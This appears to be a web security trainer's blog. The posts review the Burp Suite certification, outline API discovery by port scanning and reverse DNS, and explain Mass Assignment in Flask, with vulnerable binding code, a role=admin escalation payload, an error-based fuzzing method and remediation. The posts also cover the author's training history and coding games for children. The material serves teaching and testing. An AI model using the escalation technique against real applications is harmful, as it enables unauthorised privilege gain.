As for next steps, I'm going to continue to review the labs and probably make another attempt or two over the holiday break. If nothing else, at $9 an attempt, I consider it $3 an hour to spend time in an online lab where I can practice a new skill. I'll check back in if anything changes.

Review: Burp Suite Certified Practitioner

2021-11-15T00:00:00Z

Portswigger recently announced their Burp Suite Certified Practitioner certification. As a Burp Suite enthusiast and self-proclaimed subject matter expert, I decided to exercise the certification preparation process as a way to sharpen my skills, provide insight to others on the preparation process, and ultimately decide whether or not I would give the certification exam an attempt myself. Below are my takeaways from the process and thoughts I want to share with others that are considering an attempt at becoming a Burp Suite Certified Practitioner.

Disclaimer

This article does NOT include spoilers or a walk through of the practice exam. This article only includes facts observed and opinions formed by exercising the documented certification process. No one has in any way influenced the things I say here. I get no compensation from Portswigger or any of their competitors. I am a user and consumer just like everyone else reading this.

The Process

Portswigger documents the following process for becoming a Burp Suite Certified Practitioner:

Exam preparation
Take our practice exam
Purchase certification exam

I found it funny that the process stopped at them getting paid as there was no 4th step or beyond to actually take the certification exam, receive a score, etc. Of course it is assumed. I just found it amusing.

At a high level the process is fairly simple with the actual purchase and setup for the certification exam being the most complex given the nature of remote virtual proctoring. But this isn't about any of that, so the remainder of this article will focus on the first two steps of the process.

Exam Preparation

The certification exam preparation is really all about the Web Security Academy. If you've taken one of my classes, then you've heard me rave about this. On a technical level, this is the best web application security content you can find, and it's completely free. It sounds like I'm giving you a reason not to take my classes doesn't it? Well, not quite. This training is designed around specific vulnerabilities. There is very little here in terms of process, mindset, and tooling. You'll learn a lot about specific vulnerabilities, but you'll have no idea how to actually approach an application. That's the gap I try to fill with my classes. I don't just want my students to have more knowledge. I want my students to know how to practically apply the knowledge. Regardless, the Web Security Academy is really good stuff. If you're a practitioner in the field, you should review all of this content, even if you have no intention on attempting the certification.

Portswigger recommends that you be comfortable with ALL Practitioner level labs before moving forward with the certification process. I'd say this is accurate based on my experience. Review the content for each vulnerability and do the labs. Try to do the labs WITHOUT looking at the solution first, and only use the solution if you are completely lost. If you have to use the solution, that's an indicator that you aren't ready to move forward, or the lab is broken (more on this in a bit). I'll be honest, I learned a lot here. The depth in which Portswigger goes with this stuff is kinda nuts. While not all of it is Practitioner level, there was some stuff rated at the Practitioner level that caught me by surprise due to it's difficulty level. This coming from someone that has been writing code for almost 30 years and doing application security for roughly a decade.

Academy Labs

While the academy labs are great, they are not without issue. One of the things I encountered on several occasions with the labs was that the solution was not about having a right answer, but having Portswigger's answer, which was unrealistic. There were several labs where I know I had a payload that should have worked and could confirm it, but because it wasn't what the lab was built to detect, it failed to solve. This is dangerous for less experienced learners because it teaches them that it has to be done one way, when in reality the labs should be able to be solved in many ways. It also stunts creativity.

There were other labs that were just broken. I had originally put them in the above category of labs thinking I just had the wrong solution, but after becoming desperate to solve, I went to the solution for the answer. In many cases the solution was exactly what I was trying to do, but even when it wasn't, the provided solution didn't work either. It was just broken. In other cases the target didn't even present the resource that the solution exploited. The solution would magically include the resource, but the resource was not available in the lab itself. In these cases, even the community solutions jumped right over this detail with the presenter copying and pasting the URL from somewhere without ever explaining how they figured that out (probably because they didn't). Luckily, these issues were not that common, so it didn't greatly impact the preparation process. All of this caused me to lose confidence and lower my expectations for the practice exam. However, none of these issues appeared to bleed over into the practice exam.

Lastly, if there is an "Exploit server" button at the top of the page, USE IT! It is a visual indicator that you will need to do something with it to complete the lab. I blew a bunch of time trying to figure out how to deliver an exploit payload to an automated third party only to realize that there was another button added to the lab banner that did exactly that. Also note that within the Exploit server is the ability to check email and view the web server log. These features can be useful, so don't miss them.

Practice Exam

The practice exam is pretty straight forward. You click the button to start, it fires up a remote environment, then you click the link to begin the assessment. There's not a lot of information here, so if you jump right in like I did, then you'll be wondering what to do next. Therefore, make absolutely sure you review the How it works page prior to doing the practice exam. There are things about the practice exam that you need to know, and this is where that information is. I found this to be a difficult page to find as a reference, so keep the link handy. You'll need it.

On the practice exam launch page where the link to the target application is, there will be a box that says "App 1" and "0/3" for challenges complete. The challenges part is described on the "How it works" page, but the "App 1" part leads you to believe that there is more than one application. There is NOT. The practice exam consists of only a single application. I reached out to Portswigger on Twitter about this to confirm and also asked how this compares to the certification exam. The certification exam will have two applications, with each application having three stages like the practice exam. This also explains why you get twice as much time (3 hours) on the certification exam as you do with the practice exam (1.5 hours).

You can take the practice exam as many times as you want, and that's a good thing, because you won't get it done on your first try. One thing to keep in mind as you do this though is that the practice exam changes subtle things every time, like page names and parameter names. This means that if you solve the first challenge and run out of time, you'll want to quickly solve that one and jump straight to the second challenge on your next attempt. While the functionality and vulnerabilities don't change, you'll need to update your payloads on subsequent attempts. They cannot be scripted because of this, but it really isn't that time consuming once you know the solution.

Content Relevancy

At first I didn't think the title fit the certification, but as I began reflecting on the process and what I experienced in the labs and the practice exam, I'd have to say it fits okay. It definitely focuses heavily on vulnerabilities, but it also presents situations where Burp Suite Pro's functionality is invaluable for saving time and effort. So I wouldn't say it certifies anyone as a proficient user of Burp Suite Pro, but more of a certification that meets a set of requirements established by Portswigger, the creator of Burp Suite Pro. It is a penetration testing practitioner's certification. To be a Burp Suite Pro expert goes well beyond anything that is required here.

While the labs and practice exam did include some content relevant to client-side rendered applications, the content heavily focused on server-side rendered architectural design pattern issues, which is not representative of the modern application landscape. Keep in mind that this is exactly the same issue that Burp Suite Pro suffers from, so it is not surprising that the certification does as well. It wouldn't do Portswigger much good to produce a certification exam that Burp Suite Pro is useless to complete. I imagine as Burp Suite Pro modernizes, so will the certification content.

Difficulty

The practice exam is not necessarily hard. In fact, I'd say the practice exam does a very good job of representing the challenges one would face when penetration testing a real application. For example, you can expect Burp Scanner to find some things, but it's not going to find everything, and what it does find may or may not be useful. However, the practice exam became unnecessarily difficult on two fronts: one of which is related to a personal skills gap, and the other which is due to an unrealistic restriction.

Focus

The first way the practice exam is difficult is the emphasis it puts on exploitation. The practice exam leans VERY heavily on exploitation. However, in the real world, EVERY assessment requires discovery, while only penetration tests require exploitation at the level the practice exam requires. So those of us that make careers out of finding every bug and not just the ones that get us deeper into the application will find this approach more difficult. In my line of work, exploitation is a way to demonstrate risk, but rarely is it in scope for me to exploit to the level of post exploitation that the practice exam requires. Frankly, my clients want me spending time finding more bugs, not exploiting them. Further more, exploiting other users is literally NEVER in scope for me, and is absolutely required for the practice exam. So as an experienced "practitioner", I am at a great disadvantage here, because I don't actually "practice" what this certification assesses. Perhaps that's an indicator that this certification is intended is for a niche audience that doesn't include those that do the kind of work I do.

Timing

The second way the practice exam is difficult is the timing. With the need to set up 3rd party tools for one-off scenarios (as you would do in a normal assessment) and general trial and error as you try to resolve false positives and detect false negatives, there is simply not enough time. My issue with this is much of the time spent conducting these activities has little to do with what is being assessed. They just take time.

Portswigger says, "You are welcome to use third party automated tools to solve the exam, but you will often find manual exploitation is faster." While technically you don't need third party tools, it's simply not true for the majority of practitioners that manual exploitation is often faster. It isn't true in real life, and it certainly isn't in the practice exam. I won't give specifics, but there were two challenges in the practice exam that would have taken hours alone to figure out and solve without proper tooling. Proper tooling is critical for proficient practitioners, and Burp Suite Pro is not the only tool that should be a proficient practitioners kit. Portswigger validates this themselves by including several third party tools in their labs. The problem here is Portswigger encourages you to not use these tools, when they should be encouraging you to use these tools, and giving you the necessary context in which to use them. The bottom line is that third party tools are necessary and bring their own significant challenges regarding time.

Both of the challenges mentioned above required figuring out which tool to use and how to configure it for the context of the challenge e.g. WAF bypasses, specific encodings, custom insertion points, remote system state, etc. Knowing when something needs to be done to solve a challenge is only half the battle. Actually getting the right tooling to do it and configuring it properly is another. One of the challenges not only required a third party tool, but required it to be running in a specific environment in order for its output to work properly to solve the challenge. This happened to be a tool that was recommended and used to complete a related lab, so it's not like I was doing anything outside of Portswigger's expectations. No where in the lab or certification documentation did it say anything about the environment the tool needed to be run in in order to create the desired output. It could only be found through trial and error. I spent hours trying to figure out why creating the payload on my host system wasn't working and I could have easily walked away from the false negative. However, building the payload on a different system worked perfectly. Both systems are fully supported by the tool. Again, while not unrealistic in practice, it is unrealistic in a 1.5 hour time window with two other challenges needing to be solved as well. To solve this challenge without the tool would have taken much longer because it required learning how to develop in a stack that I'm not familiar with, and in a specific environment that I knew nothing about. This is why Portswigger recommends using the tool in their associated lab in the first place.

I get that resolving false positives and detecting false negatives is a part of being a practitioner, but with the tight window they are giving you, it isn't realistic. And theoretically, if you can demonstrate proficiency by solving the issue, then haven't you demonstrated that you could use that same skill to reduce false positives? Resolving false positives is an unnecessary distraction in a strictly timed exam. I'm not against having to reduce false positives in an exam, but not with a time window as strict as the one provided by Portswigger.

When we test in a time boxed environment, information is often given in exchange for time. Portswigger can fix the timing issue by providing more time, documenting which 3rd party tools to use and the proper context, and by building the application in such a way that it doesn't mislead the tester with false positives. It took me five attempts at 1.5 hours per attempt to complete the practice application. That is 7.5 hours to complete a single application with three exploit paths. Granted, I was doing this at times when there ware plenty of distractions, but the bottom line is that three hours for the certification exam is not even remotely close to enough time to complete twice as many challenges (two applications with three exploit paths each for a total of six) if they are anything like the practice exam.

I realize the claim could be made that I am simply not a proficient practitioner because I am unable to do it in time allotted by Portswigger. While that may be true, I would argue that the expectations are perhaps a bit too high for a practitioner certification. Considering the exam was developed by James Kettles and his team, some of the brightest minds in the industry, there is a decent chance that they overestimated the average practitioner proficiency. Not from a difficulty perspective, but strictly from a timing perspective. I believe I know many qualified individuals in the industry that could complete the practice exam, but not many in the time frame allotted. That speaks volumes and creates an artificial barrier that exists only because of time, not ability.

Third Party Tools

In addition to the stuff said above, I also consider extensions to be third party tools, even though they are tightly integrated with Burp Suite Pro. And yes, extensions were helpful in some cases with the practice exam.

Concerning third party tools in general, there's a lot to choose from and they often change outside the scope of Portswigger's upgrade cycle, so it seems like a bad idea to lean on third party tools for an exam solution. This is likely why Portswigger recommends manual exploitation in their documentation. However, it feels like a built in excuse for when things go wrong because in some cases the best solution for a proficient practitioner is clearly the third party tool. My best advice is that if an extension or third party tool isn't explicitly used within a lab, then I would not expect it to be a requirement. If a third party tool is explicitly used in a lab, then expect to use it. But even then, Portswigger may not give you enough information to prevent a significant time investment for troubleshooting the tool in the exam environment.

Shameless Plug

So how do PractiSec training courses apply to the Burp Suite Certified Practitioner certification process? The Web Security Academy labs are the way to go to prepare for the vulnerabilities that you will encounter in the practice exam. While PWAPT covers a lot of the same vulnerabilities as the Web Security Academy labs, there is simply not enough time in the 24 hours allotted for PWAPT to cover down on the depth and breadth of vulnerability knowledge expected to pass the practice exam. PWAPT also focuses heavily on discovery and very little on exploitation, which is critical to passing the practice exam. However, from a vulnerability discovery perspective, PWAPT will give you a good launch point to begin diving into the labs.

Where PWAPT will help tremendously is on the tooling and process side. The practice exam behaves like a no-knowledge test. You need to have a solid methodology in your approach to the application or you'll waste time shooting in the dark. You also need to know how to use Burp Suite Pro and maximize its capability. PWAPT is ALL ABOUT these two things (process and tooling). Combining PWAPT with the Web Security Academy labs should get you prepared for the practice exam.

But what about PBAT? PBAT is built around advanced usage of Burp Suite Pro. I encountered nothing within the labs or the practice exam that required the advanced content included in PBAT. That is attributed mostly to the fact that much of PBAT serves to do is solve the very problem Burp Suite Pro has with client-side rendered applications. And since the certification doesn't focus on those areas, the things that PBAT teaches are not applicable here. You better believe they are applicable in real life though. PBAT is absolutely critical knowledge for any practitioner working with modern applications. The Burp Suite Certified Practitioner certification process does not prepare you for working with modern application architectures or prove that you are proficient in doing such. In fact, as an employer, this would be my main concern about the certification itself. Just how relevant is it to the environment that your people are operating in?

One of the questions I received in recent days was when a boot camp training course for the Burp Suite Certified Practitioner certification would be available. I'm certain that someone will jump at the money grab, but honestly, it's not feasible due to the scope of the content and the number of different things Portswigger could put in the certification exam. The course would have to cover all of the labs, and that alone could take a weeks to get through in a classroom environment. My recommendation for a boot camp would be taking PWAPT and following that up with all of the Web Security Academy content.

Conclusion

So what am I going to do about this moving forward? I am leaning pretty hard in the direction of NOT taking the certification exam as it stands right now. If I do take the certification exam, it will be in order to share the experience and perhaps build some training content geared specifically toward certification prep, but definitely not because I feel like I can pass it. In fact, I am almost certain that I would fail the certification exam with the current time limitation. I personally believe that the certification exam is designed to be taken many times before passing. This is indicated by how the practice exam works, where you don't get enough time to realistically complete it, and can take it as many times as you want. I imagine Portswigger takes the same approach with the certification exam. Knowing it can rarely be done successfully on the first try, and will become easier each time someone takes it until they certify after X attempts at $99 per attempt. This could explain the pricing strategy, which is much lower than their competitors, and Portswigger makes sure you know that if you read their literature.

In the end, I imagine I would end up spending about $500 (5 attempts) to get certified. That's how many attempts it took me to get through the practice exam. As much as I would like to hold this certification over any of the others I hold, I don't know that it's worth the $500 and 15 hours I anticipate it would take to complete it. Change my mind.

No-Knowledge API Discovery

2021-06-14T00:00:00Z

I recently received an email from a previous student asking a question about API discovery during a no-knowledge test. The question was, "How can one discover API's across an organization's external IP range when the API's are not linked like URLs and can't be crawled using traditional means?" I thought my answer might be useful for others, so I'm documenting it here.

The student's assumption was to use something like Dirbuster or Burp's Content Discovery Engagement Tool to brute force guess API endpoints. But like I'm sure you're thinking right now, that's incredibly tedious and a poor use of time. While I can't say I've ever been asked to do this, here's the approach I would take and the answer I provided to the student.

Start by port scanning of all the available IP addresses and ports that are normally associated with HTTP (80, 8080, 8000, 443, 8443, etc.). Directly browse to each of the resulting services by IP address to determine whether they are dedicated servers or virtually hosted. Dedicated servers will provide access to the hosted application by the IP address alone, while virtually hosted servers will likely display a default web page for the IP address and require the proper Host header to be provided in order to reach the virtually hosted application. Use this behavior to determine whether the server is a dedicated server or virtually hosted. A tool that might be useful here is one that will screen shot all of the IP addresses and ports and provide output that allows for quickly viewing all of the available interfaces to determine what they are. For example, EyeWitness.

For dedicated servers, the next action would depend on what the service provides. If it's a web application, move along unless it's some sort of browser interface for the API itself, which would be the ideal situation. This is actually quite common in modern applications. However, if it's obviously not a web application, and doesn't expose an API interface, then it's most likely an obfuscated service and the next step would be trying to guess the endpoints. Recon may be useful, but there's no easy way forward from here. Time to start brute forcing/guessing.

For virtually hosted servers, reverse DNS lookups on the IP addresses with exposed HTTP services can expose DNS records and provide the proper host names for the virtually hosted applications or APIs. If the IP address exposes any services with a TLS certificate, looking at Subject Alternative Names (SAN) on the certificate may also reveal this information. If a virtually hosted server is successfully discovered, then treat it like a dedicated server (above) to determine what it is hosting.

This about all I can think to do without some sort of inside information about the targets themselves. I hope this is helpful!

Dynamic Discovery of Mass Assignment Vulnerabilities

2019-06-14T00:00:00Z

I love teaching for a lot of reasons. One of the reasons is because I learn so much when I teach. Sounds weird doesn't it? Why would the person teaching be learning? Well, It's probably not what you think. Some of what I learn comes directly from the students, but a lot comes from debugging issues on the fly and some dumb-luck discovery when someone in the class accidentally clicks somewhere or mistypes something. Recently I was teaching a class, and a combination of these led to a pretty neat discovery that I want to share with the community.

What is Mass Assignment?

There's this thing called Mass Assignment. It has other names, which I'll mention later, but for the purposes of this article, we'll call it Mass Assignment. It was originally discovered as an issue with Ruby on Rails active record. It exists where request parameters are bound directly to model objects that are ultimately used to create or update a record in a database. To understand what that actually means, let me back up a bit and explain a few things. In the Model View Controller (MVC) development architectural pattern (most common today), developers often use these things called Object Relational Mappers (ORM). Basically, an ORM abstracts (adds a layer of code) to database interaction so that instead of writing raw SQL queries that Create, Read, Update or Delete (CRUD) data in a table in a database, the developer interacts with objects that are instances of a model. This has many benefits. One being that instead of dynamically mixing user input with pre-built SQL queries, which often leads to SQL injection, user input is passed to the ORM, which safely handles it and prevents injection attacks. In order to make it easier to understand what exactly a model is, think of it as the table schema for a table in a database. It describes the columns (attributes) that make up the rows (objects) in a table (model).

For example, let's say our table (model) applies this schema:

+-----------------+
|      users      |
+-----------------+
| username | TEXT |
| password | TEXT |
| role     | TEXT |
+-----------------+

Using an ORM, instead of making a raw query to insert a record into the table like:

INSERT INTO users (username, password, role) VALUES ('lanmaster53', 'correcthorsebatterystaple', 'user');

The developer can create a new instance of the model (row) and assign values to its attributes (columns) like:

user = User()
user = user.username='lanmaster53'
user = user.password='correcthorsebatterystaple'
user = user.role='user'
db.add(user)
db.commit()

or:

user = User(username='lanmaster53', password='correcthorsebatterystaple', role='user')
db.add(user)
db.commit()

And a new row is made in the table with the provided attribute values in the corresponding column. All of these examples effectively do the same thing. Hopefully this makes sense, because this is where the issue exists. Let's move forward.

The attributes in the above code blocks (username, password and role) could also be parameters in a request. Consider the following POST payload:

username=lanmaster53&password=correcthorsebatterystaple&role=user

In modern frameworks, a developer would access these values on the server from the request using something like request.form, which is an array of the name-value pairs. What's also possible in modern frameworks, is the ability to pass an array to a function as is, while signaling to the system that the array should be expanded into name-value pairs and treated as parameters. For example, take the following block of code:

def example(x, y, z):
    #do something with x, y, and z

array = {
    'x': 1,
    'y': 2,
    'z': 3
}

This function could be invoked like:

example(x=array[x], y=array[y], z=array[z])

But it would be a heck of a lot easier to do something like:

example(**array)

Which is shorthand for the previous example. Such a nice feature, right!? It exists pretty much everywhere.

Now look back at our POST payload example above. Some of you may have already picked up on this, but what kind of application allows the user to control what role they get? Not a good one, right? Obviously it depends on the context, but this isn't something that should normally be done. So the POST payload would probably look more like:

username=lanmaster53&password=correcthorsebatterystaple

Notice the lack of role parameter. The developer is likely setting the role attribute to user on the server because that should be the default state of every new user. That's a good thing. As we already established, the role shouldn't be controlled by the user. But this is where it all comes together. What if the application is using the really nice feature from above (we'll call it Mass Assignment, Autobinding, or Object Injection)? Does it not become possible that we could guess the role=admin parameter and value and pass that in with the rest of the payload to give ourselves a higher privilege role? Yes! And that's why this is a vulnerability.

Mass Assignment in Flask

Previously, it seems, this issue has only been widely discussed in the context of Ruby on Rails, NodeJS, Java Spring MVC, ASP.NET MVC and PHP. However, when incorporating this topic into Practical Web Application Penetration Testing (PWAPT), I found a realistic way to introduce and exploit the issue in Flask. What you have seen up to this point is Python code and is exactly how this issue manifests itself in a Flask application.

I have not been able to find anywhere else on the Internet that includes Flask in the list of affected frameworks, so consider this a zero-day release of this information. I have not mentioned this to the Flask community, and I don't consider this to be an irresponsible disclosure because there's nothing the framework should do about this. These are valid features of both the framework and the ORM (in this case Flask and SQLAlchemy), and developers need to know when, and when not, to use them. More on that in a bit.

Dynamic Discovery Methodology

After incorporating Mass Assignment into PWAPT, I approached it as something that wasn't really feasible to find dynamically due to the large number of possibilities (parameter names and value data types) and a lack of meaningful responses. Traditionally, servers just drop unrecognized parameters and don't behave any differently as a result. So I've skipped over it when we were short on time, or glazed over it quickly with the reasoning that it required source code to find. But, remember all the way back up at the top of this article where I said I love to teach because I learn things? I recently had enough time to fully cover this issue with a class and a few of my students, Cal B. (@y0ucancallmecal) and Hitesh Khurana (@tesh_kh), fuzzed the vulnerable resource and noticed some things that I think will be universally applicable in finding Mass Assignment issues dynamically, perhaps even by a Dynamic Application Security Testing (DAST) solution (automated scanner).

Ultimately, the simplest form of Mass Assignment stems from mapping request parameters directly to the creation of an internal object by passing the serialized parameters directly to the class declaration, as we saw above. Well, when the serialized parameters are passed to the ORM to create or update an object, the ORM expects specific attribute names and data types according to the model, just like a database table would. What my students uncovered was that by providing arbitrary parameters (attributes the ORM didn’t expect), and values of varying data types for known attributes, they could cause the server to return errors. It just so happens that those errors allowed for the discovery and enumeration of the parameter (attribute) name and value data type needed to exploit the issue, without access to the source code. Based on the students' discovery and my understanding of what the application was saying through the errors it was returning, I came up with the following methodology for dynamic discovery of Mass Assignment.

Identify possible targets (requests that appear to impact an update or create operation on the server).
Add arbitrary parameters to the existing parameters (body, query string, JSON, XML, whatever, but the two previous are the most likely candidates).
If the server responds with an error related to an unknown attribute, argument, parameter, etc., then the parameter name is wrong.
Fuzz the parameter name until something changes. A successfully guessed parameter name will either work if the data type of the value is correct, or throw a second error related to a mismatched or unexpected data type.
If the server responds with an error related to a mismatched or unexpected data type, fuzz the parameter value for different data types (integers, strings, etc.). The error may even state what is expected, like the image above.
When the server stops responding with an error condition, the parameter name and value data type have been enumerated. Go forth and exploit.

Obviously, this assumes some sort of error response to varying input. Finding Mass Assignment without errors (blind) would take me back to my original line of thinking that it is infeasible because there is no way to confirm control over the operation until complete success. I’m still digging into blind discovery, but this is where I stand at the moment.

If you're wondering how applicable this methodology is across other technology stacks, it has been tested on both Flask and Ruby on Rails, and in both instances, the errors returned by the application included messaging eluding to unrecognized attributes for attribute enumeration, and incorrect data type for value data type enumeration. This is very promising and I expect to see similar results most everywhere. Please share your discoveries.

As far as scanners go, I see this being implemented as an injection check. All applications take the same kind of stuff: POST payloads, query strings, JSON or XML. Arbitrary parameters and varying data types are universal. Based on my knowledge of how ORMs work in general, this methodology should cause an exception in any implementation, and when it isn’t caught and handled by the developer, the scanner should be able to detect and report a potential issue using error-based analysis.

I spoke with James Kettle (@albinowax) from the Portswigger R&D team about all of this. He agreed that it seems like a feasible technique, but also said that the Burp DAST does not check for this and made no indication that it would. I assume due to the variable error responses that are possible across server-side technologies. However, James did mention that his Param Miner extension uses some of this behavior to elicit meaningful responses and may help identify the issue. I tested this myself and was unable to get the extension to identify the specific instance of the vulnerability I was testing against. However, the target vulnerability was a registration page that required unique information in specific parameters on every request. Param Miner did not appear to have the configuration options available to do this, but I suspect in other less restricted instances, it will help. As for now, this is yet another reason to have your applications manually analyzed by a trained professional, and not lean solely on a DAST solution.

Remediation

As always, I don't like explaining why something is broken without providing a means to do it safely. There are a few ways to create or update model objects safely.

First, validate input. Applications should always validate input, whether using it as a security control or not. However, in this case, validate provided parameters against a list of expected model attributes. Validation can be done by blacklisting (nonassignable attributes) or whitelisting (assignable attributes), but the validator must be updated any time the affected model changes, and will be unique for every form.

Second, explicitly bind parameters to the model object. Given the example above, it would look something like this:

user = User()
user = user.username=request.form['username']
user = user.password=request.form['password']
db.add(user)
db.commit()

Notice the application is not blindly trusting user input with regards to parameter names (username and password). The application avoids using the binding shortcut and does things explicitly.

Lastly, bind to a Data Transfer Object (DTO) before binding to the final object. DTOs are intermediate objects consisting of an assignable subset of the target object's attributes. It acts as a kind of filter. So first, bind the DTO to the untrusted input, then bind the object to the DTO. This provides similar behavior to that of whitelisting parameter names as it will only use the parameters matching the names of expected attributes.

A Decade of Training

2019-02-22T00:00:00Z

Training has been a significant part of my professional life since 2009. I've never written about my training pursuits, so as I march into my tenth year of training, fifth year of Practical Web Application Penetration Testing (PWAPT), and the first year of Practical Burp Suite Pro: Advanced Tactics (PBAT), I'd like to share a little about where I've been, where I'm at, and where I'm going, while specifically addressing my various courses.

I started my training career in 2009 organizing the "255S Course": the Army's attempt at building the ideal Cyber Defender. This came on the heels of being an Army Red Team leader for a couple years, so I was a good fit for the role. You know the saying, the best defense is knowing your opponent's offense. Well, I had the opportunity to work with Chris Gates (@carnal0wnage), Matt Graeber (@mattifestation) and Chris Campbell (@obscuresec) on the Army Red Team, so you could say I learned a thing or two about offense.

I made my first personal venture in the classroom putting together a small Python for Pentesters class for the 255S course. However, I needed a LOT of help with other topics such as digital forensics, incident handling/response, packet analysis, Windows/Linux security, etc. So I formed a relationship with SANS to help me fill those needs.

It was early in my relationship with SANS that I became friends with John Strand (@strandjs). John introduced me to the training industry and mentored me into becoming an instructor for SANS. It was with John at BHIS that I also began to focus exclusively on Web Application Security. Therefore, SANS SEC542 was a natural fit and that is where I enjoyed my first public classroom experiences.

Teaching SEC542 for SANS worked out great for several years, but I had no control over the content I was teaching at SANS, and there was so much more that I wanted to share. The only option that afforded me complete control over the content I was teaching was to branch off on my own. So that's what I did.

PWAPT was initially designed in 2015 as a follow-on for SANS SEC542. When I was teaching for SANS, I noticed a gap between where students were after SEC542 and where they needed to be to conduct successful web application penetration tests. While the basic vulnerability theory was there in SEC542, how to apply it was lacking. Therefore, with PWAPT I was less interested in the vulnerabilities and more interested in the process and tooling for bringing it all together to conduct a successful test. To support this effort, version 1 of PWAPT leveraged an old server-side PHP application with traditional vulnerabilities that didn't offer much for exploration outside of the OWASP Top 10. Since I wasn't focused on vulnerabilities, the target application provided a good foundation for this early version of the class.

Soon after I began teaching PWAPT, I realized the need to focus at least some effort on vulnerabilities. I was getting a lot of students that had never taken SANS SEC542 and were missing the fundamentals required for the original vision of PWAPT. Therefore, I began building version 2 of PWAPT alongside a modern web application that leveraged Python Flask. The application was named PwnedHub and was built as "a service for hosted vulnerability scanning." Using a server-side rendered MVC framework provided a more realistic experience for students and better replicated real world applications that students could expect to see during the majority of their engagements. While the core focus of the course remained on process and tooling, I began incorporating vulnerability theory. However, I didn't restrict myself to the OWASP Top 10. I immediately expanded the content to include things like Server-Side Template Injection (SSTI), Mass Assignment, Server-Side Request Forgery (SSRF), etc. but PwnedHub was limited to vulnerabilities specific to server-side rendered applications.

As Single Page Applications (SPA) became a prominent architectural design pattern, it became important to begin incorporating client-side rendering as a major component of the PwnedHub application and PWAPT course material. Version 3 of PWAPT saw PwnedHub offer several pages rendered as SPAs written in React. This provided an opportunity to explore vulnerabilities in client-side rendering and REST web services as well as the process and tooling for testing them. Topics such as DOM-based Cross-Site Scripting (D-XSS), the impact of mismatched content types, REST authentication mechanisms, and Cross-Origin Resource Sharing (CORS) were added to the course content. The SPA components were eventually rewritten in Vue.js, but the course material around testing SPAs remained the same. Version 3 of PWAPT also saw the transition from Burp Suite Pro v1 to v2 beta and the implementation of my proprietary training content management and delivery platform.

With version 4 of PWAPT (finished this week), the transition to Burp Suite Pro v2 beta continues and will likely include the full transition to the Burp Suite Pro v2 release in the coming months (hopefully). Version 4 also takes a special interest in business logic vulnerabilities. This required a complete redesign of the PwnedHub application, which is now "a consolidated bug bounty and hosted scanning platform." While PwnedHub still includes re-skinned and enhanced versions of previous functionality, it's main business purpose is the one-of-a-kind bug bounty system that crowd sources the bug validation phase of bug bounties in addition to the actual discovery. As you can imagine, this provides all kinds of opportunities to introduce true business logic issues. Students are going to thoroughly enjoy the challenge of what I have in store for them.

The last four paragraphs covered four years, during which PWAPT was my sole training effort. I maintained PWAPT pretty much on a daily basis, and that will continue. I believe in the purpose of PWAPT, and the over 600 people that have been trained by PWAPT up to this point can provide testimony to its value. I won't compromise that and you can expect a fresh experience if you come back and take the course every other year. Many have, and many still do. But I'm not stopping there. I created Practical Security Services (PractiSec) in late 2017 to offer training in a more official capacity. While that's been a whole 'nother experience that I won't cover here, I do want to be clear about my intent for the future. I intend for PractiSec to be a training first, consulting second, practice built on the backs of classes like PWAPT. There is a desperate need for affordable world-class training, and I want to help meet that need. Last year I announced a new course in PBAT, and more will follow as gaps and needs are identified. And while I am focused on web application security now, I won't rule out bringing in other subject matter experts to teach courses based on practical skills in other disciplines.

Specifically regarding PBAT, I mentioned last year that I hope to have it done by Spring of 2019. While I am still on track to meet that timeline, the first two places I've submitted to teach it rejected my Call-for-Training (CFT) submission. I am still holding out hope that the last year for DerbyCon will be the first presentation for PBAT, but I won't know for a few months. If you are interested in hosting a PBAT class, please see the training page for details or contact me directly. If you're wondering what PBAT is, that is also on the training page.

I have thoroughly enjoyed sharing my passion through training over the past ten years, and I'm excited about what the future holds for my training pursuits. If you've joined me for a class before, thank you for your support and I hope to see you again. If you haven't attended one of my courses, then I hope to see you at a future event now that you know a little more about the history of what you'll be receiving.

Get Off Your Butt and Teach Your Kids to Code

2018-12-08T00:00:00Z

If you're my age (born in the early 1980s) and know how to code, then it has likely been a differentiator for you in your career. I can't think of a single thing I've done professionally where my ability to understand programming concepts and write code has not benefited me in some way. However, coding is fast becoming a more common skill set amongst the younger generations. Teaching our kids to code is now more of a necessity and less of a luxury.

Today was the start of Snowmageddon 2018 (not really, this is SC and there might be some freezing rain). It was cold and wet outside and everyone was holed up indoors. Kids were restless and parents were on edge. I was getting some prep work done for a class I'm teaching next week when my four year old daughter walked in, picked up a box, and placed it on my head. I immediately felt like a robot and started making robot sounds and noises. Then it hit me... The ideas rushed in and before I could get in another beep-boop, I had put together a progressive plan for teaching my kids to code using me as a robot.

Normally I wouldn't write about something like this, but it worked out so well that I wanted to share it in hopes that not only would it give parents an interesting way to teach code, but also get them off their butts and interacting with their children in a more physical way as opposed to sitting in front of a computer or TV screen.

So here's how it unfolded.

As the robot, I got to be as flexible or rigid with following the commands as the child needed for their ability level. I also got to make up funny responses on the fly to bad commands that I knew would fail, and commands that ended badly by running into furniture and stubbing my toes on door jams. Don't let me downplay the importance of actually having a box for a robot head. With no eye holes I might add. It kept me honest, and gave the kids another reason to be creative. My ten year old went as far as to draw a face on it for me and name me. I can't remember what she named me because my wife quickly changed the name to "Pain in the Bot" and it stuck.

Level 1 was very simple. Even my four year old could do this. I gave the kids a very simple task that involved moving about the house i.e. "get me from my desk chair to the bathroom". All commands were given verbally. The children took turns and I followed the commands exactly. I gave very little coaching at this level and just let them get use to giving me commands and discovering how I would respond. Most commands were something like "10 steps forward" and "turn left". Nothing too complex.

Level 2 was also verbal, but I ramped up the complexity and coaching. The command "10 steps forward" signifies a looping construct, so I began coaching them to say stuff like, "count from 1 to 10 and take a step on each count". I also introduced them to conditions. I coached them into commands like "until the floor is hard, take steps" which would cause me to walk across the carpet until I hit the hardwood floor. Another example would be "until in the kitchen, take steps" which would cause me to walk through the living room until I hit the other side of the kitchen threshold. The kids started using degrees of turns as well instead of simple "left" and "right" commands.

Level 3 is where things really got fun. Rather than follow commands one at a time, I gave the children a simple task and had them begin to plan on their own using paper, building a list commands they thought would get the task done. At this time they had a decent understanding of the syntax I'd been using and the available commands and constructs. Once they had a "script" built, I took the script and followed it exactly. Like all code, it never compiled or executed perfectly the first time. There were bugs. Spelling errors caused me to not understand a command. I didn't take enough steps and ended up facing a wall, unable to continue. I tripped over some obstruction in the way that they didn't account for and it threw me off track. When these kinds of things happened, I would let them debug, modify the code, and start execution all over again when they were ready. We did this until the task was complete.

